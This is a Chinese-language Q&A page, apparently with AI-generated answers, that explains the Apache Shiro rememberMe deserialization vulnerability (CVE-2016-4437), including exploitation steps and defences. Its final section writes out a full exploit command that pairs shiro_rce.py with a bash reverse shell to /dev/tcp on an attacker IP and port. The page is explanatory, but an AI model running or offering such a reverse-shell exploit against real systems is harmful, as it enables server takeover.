apache shiro反序列化漏洞
时间: 2023-06-05 12:47:16 浏览: 286
Apache Shiro反序列化漏洞是指攻击者可以利用Shiro框架中的反序列化漏洞,通过构造恶意的序列化数据,来执行任意代码或者获取敏感信息的漏洞。攻击者可以通过发送恶意请求或者利用其他漏洞来触发该漏洞,从而实现攻击目的。为了防止该漏洞的利用,建议及时更新Shiro框架版本,并加强对系统的安全防护措施。
相关问题
shiro 反序列化漏洞
Shiro反序列化漏洞是指Apache Shiro安全框架中的rememberMe功能存在漏洞,攻击者可以通过修改rememberMe cookie值,将Java对象序列化后进行反序列化攻击,从而在不知道密钥的情况下执行任意代码,导致服务器被入侵。
漏洞原理:攻击者可以构造恶意的rememberMe cookie,当服务端执行Subject.login()方法时,会自动调用rememberMe的反序列化方法,从而使得攻击者构造的恶意代码被执行。
漏洞利用:
1. 获取加密密钥。可以使用反编译工具获取Shiro框架中的密钥生成函数,通过对函数的逆向分析,可以获得密钥。
2. 构造恶意的rememberMe cookie。攻击者可以将Java对象序列化后进行Base64编码,并将编码后的字符串放入rememberMe cookie中。
3. 发送恶意请求。攻击者将构造好的cookie发送给服务端,服务端在执行Subject.login()方法时会自动反序列化Java对象,并执行其中的代码。
防御措施:
1. 升级Shiro框架版本到最新。最新版本的Shiro对反序列化漏洞进行了修复。
2. 禁用rememberMe功能。
3. 对cookie进行加密,增加加密密钥的复杂度。
Apache Shiro 1.2.4反序列化漏洞
Apache Shiro 1.2.4版本之前存在一个反序列化漏洞。在这个版本之前,默认的ASE密钥是固定的,这意味着攻击者可以直接反序列化执行恶意代码。然而,在1.2.4版本之后,ASE密钥不再是默认的,需要获取到密钥才能进行渗透。\[1\]
在服务端接收cookie值时,攻击者可以利用这个漏洞进行攻击。攻击者可以按照以下步骤来解析处理cookie值:首先检索RememberMe cookie的值,然后进行Base64解码,接着使用AES解密(加密密钥硬编码),最后进行反序列化操作。由于在调用反序列化时未进行任何过滤处理,攻击者可以触发远程代码执行漏洞。\[2\]
攻击者可以利用这个漏洞执行反弹shell语句,从而获取对目标系统的控制权。例如,可以使用以下命令来执行反弹shell语句:python .\shiro_rce.py http://192.168.111.8:8080 "bash -i >& /dev/tcp/192.168.111.128/9001 0>&1"。\[3\]
#### 引用[.reference_title]
- *1* *2* *3* [Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )](https://blog.csdn.net/weixin_60329395/article/details/127399081)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item]
[ .reference_list ]
阅读全文
相关推荐


















